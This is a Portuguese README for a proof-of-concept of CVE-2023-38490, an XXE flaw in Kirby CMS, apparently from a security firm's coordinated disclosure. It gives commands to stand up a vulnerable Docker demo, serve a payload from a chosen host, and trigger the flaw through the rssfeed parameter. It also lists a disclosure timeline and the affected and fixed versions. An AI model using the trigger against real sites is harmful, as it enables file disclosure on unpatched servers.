Kirby XML External Entity (XXE) - Exploit CVE-2023-38490
Kirby < 3.9.6 XML External Entity
Exploit para CVE-2023-38490 / GHSA-q386-w6fg-gmgp.
Demonstração de exploração
Crie e execute o aplicativo de demonstração vulnerável:
cd docker
docker buildx build -t kirby-starterkit-3.9.5 .
docker run -d --rm -p 127.0.0.2:1337:80/tcp --name CVE-2023-38490 kirby-starterkit-3.9.5:latest
Sirva o payload de demonstração:
Nota: escolha um endereço de bind que o container docker possa acessar.
popd
ruby -run -e httpd ./payload -p 9999 -b 192.168.0.225
Acione o exploit:
xdg-open http://127.0.0.2:1337/rssfeed?feed=http://192.168.0.225:9999/xxe.rss
Como e por que funciona?
A função vulnerável está presente no Kirby Core, mas não é usada por padrão no Kirby Core, Kirby StarterKit ou Kirby PlainKit. Isso significa que a vulnerabilidade não o afetará na configuração padrão, mas pode ser introduzida com desenvolvimento personalizado ou pela instalação de um plugin que utilize o kit de ferramentas afetado.
Para mais detalhes, leia o artigo dedicado (EN 🇬🇧 ou FR 🇫🇷).
Referências
- Software alvo: Kirby
- Página inicial / Fornecedor: https://getkirby.com/
- Código fonte:
- Versões vulneráveis:
- <= 3.5.8.2
- 3.6.0-3.6.6.2
- 3.7.0-3.7.5.1
- 3.8.0-3.8.4
- 3.9.0-3.9.5
- Versões corrigidas:
- 3.5.8.3+
- 3.6.6.3+
- 3.7.5.2+
- 3.8.4.1+
- 3.9.6+
- Correções:
- Avisos:
Linha do tempo
- Semana 24 - Seg, 12 Jun 2023: Vulnerabilidade descoberta por Alexandre ZANNI (@noraj), Engenheiro de Testes de Penetração na ACCEIS.
- Semana 24 - Ter, 13 Jun 2023: Vulnerabilidade reportada ao editor (Kirby) por Alexandre ZANNI
- Semana 24 - Qua, 14 Jun 2023: Prova de Conceito compartilhada com o editor (Kirby) por Alexandre ZANNI
- Semana 24 - Qua, 14 Jun 2023: RFC 9116 security.txt adicionado ao getkirby.com
- Semana 24 - Qui, 15 Jun 2023: Vulnerabilidade confirmada pelo editor (Kirby)
- Semana 24 - Qui, 15 Jun 2023: Correções e patches planejados para lançamento
- Semana 26 - Qui, 29 Jun 2023: Vulnerabilidade descoberta independentemente por Patrick FALB (@dapatrese) na FORMER 03.
- Semana 28 - Dom, 16 Jul 2023: Criação de um advisory privado no GitHub
- Semana 29 - Dom, 23 Jul 2023: ID CVE solicitado
- Semana 29 - Dom, 23 Jul 2023: Vulnerabilidade corrigida pelo editor (Kirby)
- Semana 30 - Seg, 24 Jul 2023: Alexandre ZANNI convidado para o advisory privado pelo editor (Kirby)
- Semana 30 - Seg, 24 Jul 2023: Preparação de um container docker de demonstração vulnerável por Alexandre ZANNI
- Semana 30 - Seg, 24 Jul 2023: ID CVE CVE-2023-38490 registrado (reservado)
- Semana 30 - Qui, 27 Jul 2023: Lançamento público do advisory do GitHub e das correções
Aviso legal
A ACCEIS não promove ou incentiva qualquer atividade ilegal, todo o conteúdo fornecido por este repositório destina-se apenas a fins de pesquisa, educacionais e de detecção de ameaças.